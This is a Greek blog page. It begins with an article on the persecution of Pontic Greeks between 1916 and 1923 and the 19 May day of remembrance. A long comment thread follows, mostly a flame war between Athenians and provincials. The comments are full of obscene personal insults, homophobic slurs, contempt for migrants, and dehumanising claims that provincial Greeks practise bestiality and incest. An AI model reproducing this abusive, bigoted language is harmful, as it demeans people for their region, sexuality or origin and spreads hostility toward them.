«Επιτέλους τους ξεριζώσαμε...» (Κεμάλ Ατατούρκ, 13 Αυγούστου 1923)
Μέσα στην Οθωμανική αυτοκρατορία οι Πόντιοι αποτελούσαν το πιο αποκομμένο κομμάτι του Ελληνισμού, που ζούσαν σε μια περιοχή φτωχή, χωρίς ιδιαίτερο ενδιαφέρον για την κεντρική διοίκηση. Επιπλέον αποτελούσαν μειοψηφία μέσα σε ένα πλήθος αλλόθρησκων και αλλόγλωσσων λαών, όπως οι Κούρδοι και οι Αρμένιοι.
Παρ' όλα αυτά οι Πόντιοι κατόρθωσαν να διατηρήσουν τη γλώσσα και τη θρησκεία τους, να αποκτήσουν κυρίαρχη οικονομική θέση στα αστικά κέντρα της περιοχής τους, να επιδείξουν έναν αξιόλογο δημογραφικό δυναμισμό που τους επέτρεψε να επεκταθούν και στις περιοχές του Καυκάσου και της Κριμαίας, και τέλος να αναπτύξουν μια σημαντική εκπαιδευτική δραστηριότητα.
Το 1865 οι Έλληνες του Πόντου ανέρχονταν σε 265.000 άτομα, το 1880 σε 330.000 άτομα οι οποίοι κατοικούσαν κυρίως στα αστικά κέντρα. Ο ποντιακός ελληνισμός που ζούσε στις αρχές του 20ου αιώνα στις περιοχές Σινώπης, Αμάσειας, Τραπεζούντας, Σαμψούντας, Λαζικής, Αργυρούπολης, Σεβάστειας, Τοκάτης, και Νικόπολης της Οθωμανικής αυτοκρατορίας αριθμούσε, σύμφωνα με υπολογισμούς του Οικουμενικού Πατριαρχείου και των Οθωμανικών αρχών περίπου 600.000 άτομα.
Παράλληλα στη νότια Ρωσία, στην περιοχή του Καυκάσου, την ίδια εποχή υπήρχαν περίπου 150.000 Πόντιοι, που είχαν μετοικίσει εκεί μετά την Άλωση της Τραπεζούντας από τους Οθωμανούς το 1461.
Το 1860 υπήρχαν στην περιοχή του Πόντου 100 ελληνικά σχολεία, ενώ μετά την κατάλυση της οθωμανικής κυριαρχίας το 1919 τα σχολεία υπολογίζονταν σε 1401 με 86.000 μαθητές, με πιο φημισμένο το Φροντιστήριο της Τραπεζούντας. Εκτός από τα σχολεία οι Πόντιοι διέθεταν τυπογραφεία, περιοδικά, εφημερίδες, λέσχες, και θέατρα, με τα οποία έκαναν αισθητό τόσο το υψηλό πνευματικό τους επίπεδο, όσο και το εθνικό τους φρόνημα.
Το 1912 η κυβέρνηση του Κιαμήλ-πασά κατόπιν επίσημης συμφωνίας με το Πατριαρχείο , έδωσαν επτά βουλευτικές έδρες στους Έλληνες του Πόντου , από αυτές τρεις στην περιφέρεια της Τραπεζούντας δύο στην περιφέρεια της Σαμψούντας και από μία στις περιφέρειες Καρά Χισάρ και Σινώπης. Έτσι η κυβέρνηση επίσημα αναγνώρισε ότι υπήρχαν 700.000 Έλληνες στον Πόντο , δεδομένου ότι κατά τους Τουρκικούς εκλογικούς νόμους ανά 100.000 κατοίκους εκλέγονταν ένας βουλευτής στην Τούρκικη βουλή.¨
Στα τέλη του 19ου αιώνα, ο Πόντος και κυρίως τα ανατολικά βιλαέτια, γνωστά και ως Μεγάλη Αρμενία, θα υποστούν ένα σημαντικό κύμα διωγμών, με στόχο τους Αρμένιους. Το αποκορύφωμα των αποτρόπαιων γεγονότων θα επέλθει κατά τα μέσα της τελευταίας δεκαετίας, παρόμοια όμως βίαια γεγονότα θα συνεχιστούν έως το τέλος του 19ου αι. και θα επαναληφθούν κατά την πρώτη δεκαετία του 20ου αιώνα.
Οι διωγμοί θα αποτελέσουν το υπόβαθρο, σε συνέργεια με διάφορους άλλους παράγοντες, για την οθωμανική-τουρκική «final solution», την «τελική λύση» που εφαρμόστηκε συνολικά στους χριστιανούς κατοίκους των ανατολικών επαρχιών (Πόντου και Μεγάλης Αρμενίας) στο αμέσως επόμενο χρονικό διάστημα.
Πρόκειται για την εφαρμογή του κρατικού σχεδίου για την εξαφάνιση (μέσω της φυσικής και πολιτιστικής εξόντωσης) των γηγενών χριστιανών, μία από τις πιο σημαντικές εθνολογικές, δημογραφικές και βίαιες πολιτιστικές μεταλλάξεις του 20ου αιώνα. Οι διωγμοί, εκ των οποίων το πιο χαρακτηριστικό παράδειγμα αποτελεί η γενοκτονία των Αρμενίων, θα λάβουν χώρα κατά τη δεύτερη και τρίτη δεκαετία του 20ου αιώνα.
Η καταστροφή του ποντιακού ελληνικού στοιχείου, όπως και η Αρμενική Γενοκτονία και οι σφαγές των Ασσυρίων, αποτελούν, σύμφωνα με τον Τζορτζ Χόρτον, γενικό πρόξενο των ΗΠΑ στη Σμύρνη, παρακλάδια της κεντρικής απόφασης των Τούρκων να "τελειώνουν" με τους χριστιανικούς πληθυσμούς, οι οποίοι δεν ήταν δυνατό να εξισλαμισθούν ή να απορροφηθούν στη νέα τουρκική ταυτότητα.
Από το 1915, ενώ ξεκινά η γενοκτονία των Αρμενίων, η κυβέρνηση της Κωνσταντινούπολης έχει σχεδιάσει και την εξόντωση του ποντιακού στοιχείου, που εν τέλει θα πραγματοποιήσει ο Κεμάλ Ατατούρκ.
Οι τοπικές εφημερίδες, παρακινούσαν τους Τούρκους σε επιθέσεις και διωγμούς. Πολλοί Έλληνες χωρικοί βρίσκονταν σκοτωμένοι στο δρόμο ή στα χωράφια τους. Οργανωμένες συμμορίες, λεηλατούσαν σπίτια, περιουσίες και χωριά ολόκληρα. Ο εμπνευστής της γενοκτονίας, ο Μεχμέτ Ταλαάτ, καλούσε με τηλεγραφήματα τους πολιτικούς και στρατιωτικούς διοικητές των νομών να μη δείχνουν κανένα έλεος στους χριστιανούς.
Απ' το 1916 ως το 1923, οι Νεότουρκοι του Κεμάλ, σκότωσαν ομαδικά περισσότερους από 350.000 Έλληνες κατοίκους του Πόντου και ανάγκασαν τους υπόλοιπους να αφήσουν τα σπίτια τους και να ζητήσουν καταφύγιο στην Ελλάδα.
Ο διωγμός πήρε τραγικές διαστάσεις. Σκότωναν κάθε Έλληνα που έβρισκαν στο δρόμο. Όποιος γλύτωνε απ' τις δολοφονίες, πέθαινε από την πείνα ή τις αρρώστιες.
Συνεργοί του Κεμάλ στις διώξεις κατά του ελληνικού στοιχείου ήταν, σε στρατηγικό επίπεδο, οι Γερμανοί σύμμαχοί του και, ως εκτελεστές, οι τσέτες, ληστρικές ομάδες κυρίως κουρδικής καταγωγής, που συντάχθηκαν με τους Νεότουρκους.
Στα 1919, στις 19 Μαΐου, οι διωγμοί έγιναν αγριότεροι. Ήταν το τελικό χτύπημα για τον ελληνισμό του Πόντου. Ο Κεμάλ Ατατούρκ έβαλε μπροστά την ολοκλήρωση της εξόντωσης.
Για το σκοπό αυτό, έφτιαξε μια μυστική οργάνωση, μέλος της οποίας ήταν και 'δήμιος' των Ελλήνων, ο Τοπάλ Οσμάν. Η τρομοκρατία, τα «τάγματα εργασίας», (γνωστά ως «Αμελέ Ταμπουρού»), οι εξορίες, η κρεμάλα, οι πυρπολήσεις των χωριών και οι δολοφονίες, ανάγκασαν του Έλληνες να πάρουν τα βουνά φτιάχνοντας αντάρτικο με σκοπό την προστασία των αμάχων.
Αλλά το τέλος του Πόντου πλησιάζει. Τον τραγικό επίλογο της γενοκτονίας, γράφει ο βίαιος ξεριζωμός των επιζώντων. Με τη συνθήκη της ανταλλαγής πληθυσμών μεταξύ της Ελλάδας και της Τουρκίας, φεύγουν για την Ελλάδα και οι τελευταίοι πόντιοι. Κανένας δεν έμεινε πίσω εκτός απ' αυτούς που εκτουρκίστηκαν με τη βία. Κι αυτό ήταν το τέλος.
Το 1921 τα πολεμικά καράβια των Άγγλων, των Γάλλων και των Αμερικανών διέσχιζαν τα Στενά και τη Μαύρη θάλασσα, για να προστατέψουν τα εμπορικά τους συμφέροντα, αγκυροβολούσαν κάθε εβδομάδα στο λιμάνι της Σαμψούντας, και έκαναν πως δεν έβλεπαν ότι στα μέρη, όπου προστάτευαν τα συμφέροντα τους, οι Τούρκοι κρεμούσαν διακεκριμένους Έλληνες του Πόντου, έσφαζαν απλούς ανθρώπους μέσα στους δρόμους των μεγάλων πόλεων και των μικρών χωριών, έκαιγαν και ρήμαζαν...
Το Φεβρουάριο του 1994 η Βουλή των Ελλήνων ψήφισε ομόφωνα την ανακήρυξη της 19ης Μαΐου ως Ημέρας Μνήμης για τη Γενοκτονία του ποντιακού ελληνισμού, γιατί την ημέρα εκείνη, στα 1919, ο Κεμάλ έφτασε στη Σαμψούντα και ξεκίνησε η δεύτερη και τελευταία φάση της σφαγής. Στην Τουρκία είναι εθνική γιορτή. Στην Ελλάδα είναι μέρα πένθους και μνήμης.
Περιττό να πούμε ότι η Τουρκία δεν αναγνωρίζει καμία γενοκτονία. Ούτε την Αρμενική, ούτε την Ποντιακή ούτε αυτή των Ασσυρίων.
Μάλιστα, θεωρεί ότι η επιλογή από την Ελλάδα της 19ης Μαΐου -ημέρας που συνδέεται άμεσα με τον Ατατούρκ και εορτάζεται ως απαρχή της Κεμαλικής Επανάστασης-, έχει ως στόχο να αμαυρώσει την εικόνα του Κεμάλ.
sinepos http://4.bp.blogspot.com/_xiwXuFXl2XI/ShCAr4_K4mI/AAAAAAAACVo/koxASPjaDkY/s1600-h/thelwgiannakoyektos.jpg
Ρεσιτάλ αγραμματοσύνης και γραφικότητας του Παπαγιάννη για μια ακόμη φορά. Αφού διέκοπτε τους πάντες με τις (φιλοπασοκικές) μπαρούφες του, σαν άλλη Τάνια Ιακωβίδου, έλεγε συνέχεια "οι Ηρακληδείς του Στέμματος" (sic) και δώστου πάλι "οι Ηρακληδείς του Στέμματος". 3-4 φορές το είπε και το ξαναείπε. Ρε φουκαρά Παπαγιάννη, δεν έχεις μάθει ότι η φράση είναι "οι ηρακλείς του στέμματος"; Και κάνεις και τον δάσκαλο σε όλες και σε όλους. Τρομερά αστείο το παπαγιάννειο θέαμα.
ΠΑΩ ΓΙΑ ΑΛΛΑ ΠΙΟ ΩΡΑΙΑ ΠΙΟ ΜΕΓΑΛΑ....!!!ΣΥΝΤΟΜΑ ΘΑ ΣΑΣ ΕΝΗΜΕΡΩΣΩ!!
ΜΕΓΑΛΑ ΚΑΙ.....ΧΟΝΤΡΑ....
ΒΟΗΘΕΙΑ ΣΟΥ .....
ΑΦΙΕΡΩΜΕΝΟ
http://www.youtube.com/watch?v=cMsq0GYasJs&feature=channel_page
ΣΤΟΝ ΒΑΨΟΜΑΛΛΙΑ ΚΑΙ ΣΕ
ΟΛΟΥΣ ΤΟΥΣ ΦΛΟΥΦΛΗΔΕΣ
ΤΟΥ DA CAPO KAI ΓΕΝΙΚΩΣ ΤΗΣ ΠΛΑΤΕΙΑΣ ΚΟΛΩΝΑΚΙΟΥ
ΕΠΙΣΗΣ ΣΤΟΥΣ ΚΡΑΓΚΙΟΖΑΚΟΥΣ ΤΩΝ ΒΟΡΕΙΩΝ ΠΡΟΑΣΤΕΙΩΝ
ΣΤΟΥΣ ΧΑΡΤΟΓΙΑΚΑΔΕΣ ΠΟΛΤΙΚΟΥΣ ΕΞ ΑΘΗΝΩΝ ΚΑΙ ΑΥΤΟΥΣ ΠΟΥ ΝΟΜΙΖΟΥΝ ΟΤΙ ΓΙΝΑΝ ΑΘΗΝΑΙΟΙ ΕΠΙΔΗ ...ΑΡΧΙΣΑΝ ΤΗΝ ΣΤΑΔΙΟΔΡΟΜΙΑ ΤΟΥΣ ΣΕ ΠΟΛΥΚΑΤΟΙΚΙΑ ΜΕ ΘΥΡΩΡΟ.
ΕΠΙΣΗΣ ΕΞΑΙΡΕΤΙΚΑ ΑΦΙΕΡΩΜΕΝΟ ΣΤΟΥΣ ΚΑΡΙΕΡΙΣΤΕΣ ΤΟΥ ΚΩΛΟΥ ΔΗΜΟΣΙΟΓΡΑΦΟΥΣ.
ΑΥΤΟΥΣ ΠΟΥ ΔΩΣΑΝ Η ΠΗΡΑΝ ΚΩΛΟΥΣ ΓΙΑ ΝΑ ΓΙΝΟΥΝ ....ΕΠΩΝΥΜΟΙ
Η ΝΕΩΤΕΡΗ ΕΛΗΝΙΚΗ ΙΣΤΟΡΙΑ ΕΙΝΑΙ ΙΣΤΟΡΙΑ ΚΟΛΩΝ ΚΑΙ ΚΟΛΩΠΑΙΔΩΝ ΠΕΡΙΦΕΡΟΜΕΝΩΝ ΜΕΤΑΞΥ ΠΛΑΤΕΙΑΣ ΣΥΝΤΑΓΜΑΤΟΣ ΚΑΙ ΠΛΑΤΕΙΑS ΚΟΛΩΝΑΚΙΟΥ,ΠΕΡΙΟΧΗ ΟΠΟΥ ΕΧΕΙ ΣΤΙΒΑΧΤΕΙ Η ...ΚΟΠΡΟΣ ΚΑΙ ΟΙ ΚΟΠΡΙΤΕΣ
ΞΥΝΟΓΑΛΟΣ
©
ioanna anamenoume nea!
Γεια σου γίγαντα Ξυνόγαλε με την τεράστια (γεμάτη συμπλέγματα) πολιτική σου "ανάλυση". Δεν πρέπει να επιδίδεσαι στην ανάλυση, αλλά στην ψυχανάλυση. Αυτό χρειάζεσαι. Πίστεψέ με.
ΑΓΑΠΗΤΕ ΦΙΛΕ ΑΠΟ ΠΑΝΩ
ΔΕΝ ΚΑΝΩ ΠΟΛΙΤΙΚΗ ΑΝΑΛΥΣΗ
ΚΑΝΩ ANAL-LISI.
ΑΥΤΟ ΠΟΥ ΕΧΟΥΝ ΑΝΑΓΚΗ ΟΙ ΦΛΟΥΦΛΗΔΕΣ ΚΑΙ ΤΑ ΠΑΡΑΣΙΤΑ ΤΩΝ ΑΘΗΝΩΝ.
ΞΥΝΟΓΑΛΟΣ
©
σωστά ξυνόγαλε, κάνεις anal-ysh μεν, αλλά στις γίδες σου, κατά τα λοιπά είσαι ένας ακόμα συμπλεγματικός μαλάκας (με περικεφαλαία) ελληνάρας, κοινώς είσαι γιά να σου κρεμάμε κουδούνια...
ΥΓ το copyright τι το θες ρε κακομοίρη, φοβάσαι μην σου κλέψουν το ευφάνταστο ψευδώνυμο; (τι ψωνάρα μον ντιέ...).
Ego ton simpatho ton xinogalo. Tha prepei na eimai o monos, mazi me th mana toy. Tora pou to skeftomai mallon oute ayth ton simpathei. Ara prepei na eimai o monos.
Είμαι βέβαιη ότι ο Ξυνόγαλος τα έχει όλα πολύ τακτοποιημένα στο (μεγάλο) κεφάλι του. Από τη μία η αγνή ελληνική επαρχία, παστρικιά, αγνή και λεβέντικη. Και από την άλλη, η διεφθαρμένη πρωτεύουσα, με την παροιμιώδη παρακμή της. Που να καταλάβαινε ο Ξυνόγαλος ότι η παρακμή αυτή είναι κυρίως παρακμή από τους όμοιούς του που έχουν κατακλύσει την πρωτεύουσα και την έχουν υποβιβάσει όσο δεν παίρνει. Έχει γεμίσει ο τόπος από Ξυνόγαλους που πληθαίνουν μήνα με τον μήνα αφού έρχονται στην πρωτεύουσα για dolce vita. Καθήστε στην επαρχία σας ρε Ξυνόγαλοι που θέλετε και τη μεγάλη ζωή. Αφού βλέπετε ότι όπου και να πάτε, Ξυνόγαλοι παραμένετε.
Και να συμπληρώσω ότι όλα τα μέρη στα οποία επιτίθεται ο Ξυνόγαλος, είναι τα μέρη τα οποία ο πραγματικά αστικός κόσμος συνήθως αποφεύγει. Μόνο οι Ξυνόγαλοι πάνε εκεί (για αυτό και τα αποφεύγει). Ο Ξυνόγαλος φτύνει δηλαδή τον εαυτό του, χωρίς να το αντιλαμβάνεται ο φουκαράς. Αχ, βρε Ξυνόγαλε. Πόσο φουκαράς και καταγέλαστος δείχνεις με όλα αυτά τα απίστευτα, χωριάτικα και κομπλεξικά που λες.
O Ξυνόγαλος μπορεί να βρίζει την Αθήνα, αλλά μερικά ΠΣΚ κατεβαίνει και ψωνίζει στο The Mall όπως κι όλοι οι επαρχιώτες άλλωστε. Μετά γυρνάει στο χωριό και λέει τί είδε και τον ακούνε όλοι με ανοιχτό το στόμα. Τα λέω αυτά, γιατί τον έχω πετύχει να οδηγεί το γαϊδαρό του στην Αττική οδό. Είναι κοσμογυρισμένος. Κοσμοπολίτης.
gelioi "athinaioi"...
de mou lete re??..
den eida to xynogalo na psaxnei na kerdisei kati ...
tis apopseis tou grafei, ki ap oti vlepw sas tsouzoun...
apo thn allh, ta kala ths opoias astikhs zwhs, sas eipe kaneis oti exete dikaiwma na ta apolamvanete mono eseis??..
kariolopoustrakia tou kanape ??
epeidh eiste diatethimenoi na dwsete mexri k ton kwlo sas gia to xrhma k thn provolh,
ftaei o xynogalos ki o kathe xynogalos pou einai "kleistwn antilhpsewn"??...
a re kariolia...
prin 100 xronia, mono petres , lasph kai skata htan sta akriba sas spitakia.
ki o pateras sas h ante o papous sas, skoupize ton kwlo tou me fylla apo dendra, kapou ekeisthn kwlopeteinitsa...
xaxaxaxa!!!
gelioia ypokeimena, proodeftikoi koblexikoi "athinaioi"..
den tha ginete new york pote re mounia..
mia zwh tha xeirokrotate roubades, vissides, gay kai anwmalares.
otan sthn agglia k sthn amerikh
eixan ouranoxystes kai panepisthmia oi papoudes sas, allazane swvraka kathe xrono k zousane se stanes.
diavazete istoria?...
xerete poioi k posoi zousane sthn attikh mexri edw k 100 xronia??
5-6 xiliades arvanites.
na nai kala oi amerikanoi me to sxedio marsal kai h agathi tyxh
pou efere tous kwlous sas sthn anapaftikh anesh ths pio kakogousths k asxhmhs evrwpaikhs prwtevousas.
me tous hlithioterous, pio kynikous k katathliptika nevrwtikous, arivistes neoastous katoikous ths.
ante geia re thlivera zwa.
katoikoi tou monou astikou kentrou ths elladas, gia to opoio frintise o malakas karamanlhs, les k de borousame anti tou aisxous aftou na eixame 5 - 6 megales poleis...
toulaxiston na eixame k enallaktikh sto diko sas diktatoriko life style tou kwlou...
kai nai, tha symfwnhsw oti den ftaiei h katagwgh ki o topos k einai exohws ratsistiko na krinei kaneis kapoion ap fto
(an k den vlepw tous proodeftikous "athinaious" vevaia na sevontai k poly thn eparxia, antithetws einai prothymoi na aggaliasoun kathe brwmiarh tritokosmiko, bas kai aisthanthoun londrezoi!!!)
alla apo thn allh...
o topos dhmiourgei nootropies.
an loipon sthn eparxia logw elleipshs isws erethismatwn k gnwshs (k anthrwpinou dynamikou)
gia to opoio vevaia, frontizei to ellhniko kratos ...
yparxei mia omoiogeneia ston tropo skepshs, tote...
giati sthn athina ths yperproforas taxa mou , parathrhtai omoiogeneia akoma xeiroterou typou se antilhpseis k klise??
den exw dei pio provlepsimo anthrwpo apo ton athinaio.
fovikos, kynikos, akoma k to risko pou tha parei, tha to parei (k tha kseftilistei)
ama myristei xrhma...
mh milate loipon xeftiles...
as exete syneidhsh ths xeftilas sas toulaxiston (oxi oloi vevaia)
ki oso gia to malaka pou psellizei kati gia psyxanalysh...
h psyxanalysh kwlotrypida, afora thn PROSARMOGH. thn opoia exete ebedwsei kala, xwmenh sta tetragwna mpetonenia koutakia sas, sta fanaria kathe 5 metra k stous kanones ths polykatoikias.
kapoioi , dystyxws gia sas, den boroun na boun kan sthn idea ths skepshs sas.
afou niwthete asfaleia ekei loipon, meinete.
etsi ki alliws ola einai programatismena stis zwes sas.
spiti-douleia-kinhsh-ante k diakopes to kalokairi. klise
ola elexgontai, opote etsi mathate.
kapoioi , loipon, papara, xwris na einai apsegadiastoi, apla den exoun mathei na zoun etsi k einai eleftheroi sygritika me sena.
ki o bathmos ths eleftherias tous fainetai apo to oti boroun na diatypwnoun apopseis kontra se ekatontades xiliades malakes san esena.
k na diatypwnoun apopseis pou esy tis akous k karafliazeis giati den boreis na allakseis oute thn wra pou pas gia pipi.
roufa t avgo sou loipon kai vour ston psyxotherapefth sou athinaki mou...
den exeis k alles epiloges, etsi den einai???
'ΑΤΗΙΝΑΙΟS"
Φαίνεται ότι σε κάποια μέρη της αγνής και συναραπστικής ελληνικής επαρχίας, υπάρχει τόσο πολύς και καθαρός αέρας, ώστε ο εγκέφαλος υπερ -οξυγονώνεται παράγοντας τα συναρπαστικά αποτελέσματα που βλέπουμε. Οι φίλοι εξ επαρχίας, όπως έχουν γράψει και άλλοι σχολιαστές, στην πραγματικότητα ψάχνουν να βρούν αντίπαλο ώστε να ετεροπροσδιοριστούν, γιατί δεν τα έχουν καλά με τον εαυτό τους (την ταυτότητά τους, την καταγωγή τους κλπ.). Επιτίθενται σε έναν φανταστικό εχθρό, την "πρωτεύουσα" (την κάθε πρωτεύουσα), η οποία, στο φτωχό τους μυαλουδάκι, έχει λάβει μεταφυσικές διαστάσεις. Καταφέρονται δε ειδικά εναντίον της (παρακμιακής και άσχημης) Αθήνας, με τέτοιο μένος, που δείχνει τον κομπλεξισμό τους. Και βέβαια αδυνατούν δουν (και να απαντήσουν αντιστοίχως) το θέμα που έχει τεθεί από προηγούμενο σχολιαστή: ότι η Αθήνα υστερεί κατά πολύ από τις άλλες ευρωπαϊκές πρωτεύουσες, επειδή είναι μια πρωτεύουσα κατακλυσμένη από χωριάτες - χωριάτες που δεν έχουν μπορέσει να μετεξελιχθούν σε παιδιά του άστεως. Γεμάτη Ξυνόγαλους και "ανώνυμους", σαν τον παραπάνω εξυπνάκια συμπλεγματικό σχολιαστή, είναι η Αθήνα, το παλαιό αρβανιτοχώρι (όπως σωστά γράφει ο κομπλεξικός "ανώνυμος" για να αναβαθιστεί, εξ αντανακλάσεως, ο ίδιος και η μεγαλοϊδεατική επαρχιωτίλα του).
Άσε φίλε, μην την ψάχνεις... Ούτε η Αθήνα είναι πρωτεύουσα, ούτε η επαρχία είναι επαρχία άλλων ευρωπαϊκών πόλεων. Εσείς οι βλάχοι (η συντριπτική πλειοψηφία της Ελλάδας) - βλάχοι όχι λόγω προέλευσης, αλλά λόγω συμπεριφοράς και νοοτροπίας - έχετε καταστρέψει κάθε χώρο σε αυτή την αυτιστική και προβληματική χώρα. Ξερολίαση, κουτοπονηρία, αμορφωσιά (για να μην αναφερουμε κτηνοβασία και αιμομιξία - ιδιαίτερα αυξημένα στην αγνή ελληνική επαρχία) είναι τα κλασσικά χωριάτικα χαρακτηριστικά - χαρακτηριστικά ενός κόσμου που είτε μένει στην "πρωτεύουσα" είτε στην επαρχία, είναι χωριάτης και παρακμιακός μέχρι το κόκαλο. Αν θέλεις, λοιπόν, να συνεισφέρεις σε κάτι, άλλαξε τον κομπλεξικό εαυτό σου και άσε τους άλλους. Το προόβλημα είναι σε σένα. Η πλειοψηφία του κόσμου στην Ελλάδα (πρωτεύουσα και επαρχία) είναι Ξυνόγαλοι. Αυτό είναι το θέμα και όχι μια ψευτοαντίθεση επαρχίας - πρωτεύυουσας (του κώλου και οι δύο σ΄αυτή την χωριάτικη και οπισθοβαρή χώρα).
ΥΓ. Υποχρεωτική ψυχανάλυση (με κρατική δαπάνη) στους Ξυνόγαλους και τους ομοίους του. Αυτό ίσως θα ήταν μια κάποια λύση.
φιλε 10:17, να υποθεσω οτι το ΥΓ στο κατα τα αλλα αριστο σχολιο σου ειναι σχημα λογου, η υλοποιηση του θα απαιτουσε την ψυχαναλυση του 90% (τουλαχιστον) του πληθυσμου που απαρτιζεται απο ξυνογαλους...πιο οικονομικο θα ηταν να συρρικνωθει το ελληνικο κρατος στα προτυπα της αρχαιας πολης-κρατους (ή του μονακο, σαν μαρινο κλπ για να μην κατηγορηθω ως αρχαιοπληκτος), να γινει φορολογικος παραδεισος της μεσης ανατολης (με αμεση δια ροπαλου αποξυνογαλοποιηση)και εγκαταλειψη της (ουτως ή αλλως) αθλιας & υποβαθμισμενης ελλ. επαρχιας στην τυχη της - χαρισμα σας τα κωλοχωρια σας βλαχοι.
10.39 έχεις δίκιο. Τί ψυχανάλυση με κρατικές δαπάνες να κάνεις. Όλο το δημόσιο χρήμα θα έπρεπε να κατευθυνθεί εκεί (και αν θα έφτανε). Νομίζω ότι ο προηγούμενος σχολιαστής το αναφέρει ως σχήμα λόγου. Και πολύ σωστή η πρότασή σου για τη δημιουργία ενός μικρού κράτους στα πρότυπα που αναφέρεις. Η χωρίς μέλλον επαρχία ας ασχοληθεί με τις αγροτικές και κτηνοτροφικές καλλιέργεις για αυτοσυντήρηση (όπως παλιά) κι ας αφήσει τα υπόλοιπα. Είδαμε και λεφτά που τους έδωσαν τι τα έκαναν. Στις πουτάνες τα έφαγαν οι χωριάτες, στα ουίσκια και στα μπουζουξίδικα. Τι κόσμος αυτός της ελληνικής επαρχίας. Τέτοιο πράγμα δεν έχω ξαναδεί σε κανένα μέρος του (πολιτισμένου) κόσμου. Οι άνθρωποι έχουν αποκτηνωθεί. Και μέσα στο πλαίσιο του κυρίαρχου λαϊκισμού κανείς δεν τους το λέει. Όλοι τους γλείφουν και τους χαϊδεύουν. Όξω ρε χωριάτες καράβλαχοι. Έχετε καταστρέψει την Ελλάδα.
Οι Ξυνόγαλοι και οι φίλοι του "ανώνυμοι" στην πραγματικότητα και χωρίς να το αντιλαμβάνονται, περιγράφουν τους εαυτούς τους. Είναι όμως τόσο τυφλωμένοι και εμπαθείς που έχουν αδυναμία το να καταλάβουν. Το πάθος και το κόμπλεξ τους τούς κάνουν να αφρίζουν.
k twra mas katatropwsate flwroi athinaoi...
papapa...ti epixeirhmata!!
ti anwterothta ...
ti skepsh...
ante gamhtheite prwi prwi re mounopana..
ap oti vlepw 2 - 3 atoma eimaste dw pou exoume sthriksei thn eparxia k sthlitevoume ta kaka ths athinas.
an hmastan oloi mazi o kathenas xwrista, aplws grafikoi, klp opws lete, den tha sas etsouze toso koyradokatapioles athinaioi.
kati sas enoxlei agorakia kai fwnaskeite k prosballete.
perastika sas opws tha legate ki eseis..
ki oso gia sena malaka pou les gia tis epidothseis pou "trwne" oi agrotes les k einai to skandalo siemens, se plhroforw oti brosta sta ga-fra pou exoun klepsei oi omoioi sou prwhn moustaklhdes athinokareklokentavroi , ta posa pou pane gia tous agrotes, moiazoun me psila resta apo 500eurw..
epishs otab milas gia apokthnwsh koita ton eafto sou sta moutra kalytera.
AA...
kai den yparxei eparxia kwlofans
yparxei ellada. k yphrxe .
ki apo dw hrthate oloi.
ki eseis twra tha mou orisete synora gia na aftoprosdioristhieye ws "emeis"
kai "aftoi" , oi eparxiwtes..!!??
k meta milate gia komplex kafroi???
nafplio, giannena, messologgi, saloniki, sparth, kerkyra, komotini.
apo kei eiste oloi re.
a, ki oson afora tous "vlaxous"
pou sinithws einai h monh ekfrash pou xeroun oi xeftiles athinaioi.
den xreiazete kan na apanthsw gia o poso geloios k anistorhtos einai opoios ekfrazetai akoma etsi...
les kai oi krhtes h oi makedones einai "blaxoi"..
ante k gamhtheite allh mia fora athinaioi
arketh shmasia sas dwsame ..
poutanakia...
xaxaxa!!!
φυσικα και θα αυτοπροσδιοριστουμε μικρε αγραμματε υστερικε βλαχακο που γραφεις με γκρηκλις, δεν σου αρέσει καθολου ετσι? ειτε σου αρεσει ειτε οχι στην εξισωση ειμαστε εμεις και εσεις, λοιπον "εσεις" ζειτε χρονια εις βαρος ημων (απο την εποχη της χουντας τουλαχιστον) και εχετε το θρασος και μιλατε κιολας καφροι - ελευθερο αποβλαχοποιημενο αθηναϊκο κρατος τωρα...
ΥΓ και πουσαι μικρε βλαχακο, μην διαμαρτυρεσαι για αυτα που κλεβουν οι στην συντριπτικη τους πλειοψηφια επαρχιωτες που εσυ και οι ομοιοι σου βαζετε στο κτηνοβουλιο, δικοι σας ειναι και αυτους εχετε για προτυπο...
Παιδιά, γαμιέστε, όοοοοοοοολοι!!!
Καλά αυτό το παιδί ο Παπα(ρο)γιάννης φαίνεται ότι έχει σπουδές. ''MADE IN ΡΟΥΣΟΠΟΥΛΟΣ'' ο τίτλος στο σχόλιο του. Τι σου είναι να έχεις κάνει σπουδές με αρχίδια...
Υ.Γ Ιωάννα δεν πιστεύω ότι το ''κάτι μεγάλο ετοιμάζεσαι να κάνεις'', που δήλωσες να έχει να κάνει με τη θέση της σχολιάστριας στο δελτίο του Παπα(ρο)γιάννη ;
5.53 έχει κάνει σπουδές (και) στο πεζοδρόμιο ο Παπαγιάννης. Γι' αυτό μην τον ειρωνεύεσαι
Ιωάννα, μια (μέλλουσα) δημοσιογράφος θεά. Άντε πάρε το πτυχίο, βαρεθήκαμε να βλέπουμε τη Φωτεινή-Ρουβίτσα-Πιπιλή
κυριε χαντζαρα.δειτε εδω τους 'οικολογους' που θελουν να κανουν πολιτικους παραγοντες του τοπου.ολως τυχαιως ειναι πιο ακραιοι και απο τον συριζα.
λχ. ο συγγραφεας του πρωτου λινκ ειναι αρθρογραφος και στην ιστοσελιδα της αντιεθνικιστικης αντιρατσιστικης των εξαρχειων,καθως και στην ιστοσελιδα του ουρανιου τοξου στη φλωρινα,και του γνωστου νακρατζα.
http://www.ecocrete.gr/index.php?option=com_content&task=view&id=346&Itemid=82
και εδω οι θεσεις τους για παρελασεις εθνος και λαθροεποικους.
http://www.ecocrete.gr/index.php?option=com_content&task=groupsection&id=9&Itemid=85
αραγε τι σχεση εχουν η οικολογια ,ο αλαφουζος και οι 'αναρχικοι'?
Ο Ζάχος Χατζηφωτίου, μέσα στη γραφικότητά του, τα έχει πει καλά για σας.
Όξω οι βλάχοι από την Αθήνα!
Δεν έχουν μέτρο και λογική οι σχολιαστές εξ επαρχίας που κόπτονται για την πρόοδο της Ελλάδας. Δεν έχουν καταλάβει ακόμη ότι αυτοί είναι το πρόβλημα, που έχουν πέσει σαν πανούκλα πάνω στο σεπτό σώμα του ελληνισμού. Η Ελλάδα έχει γίνει ένα απέραντο χωριό με τα καμώματά τους. Όλοι οι χώροι βλαχοκρατούνται. Χωριάτες, πίσω στα χωριά σας. Αφήστε μας εμάς εδώ στην παρακμή. Δεν θέλουμε άλλους χωριάτες και λαθρομετανάστες. Θέλουμε να μπορέσουμε ξανά να κυκλοφορούμε στο κέντρο της Αθήνας με παπιγιόν.
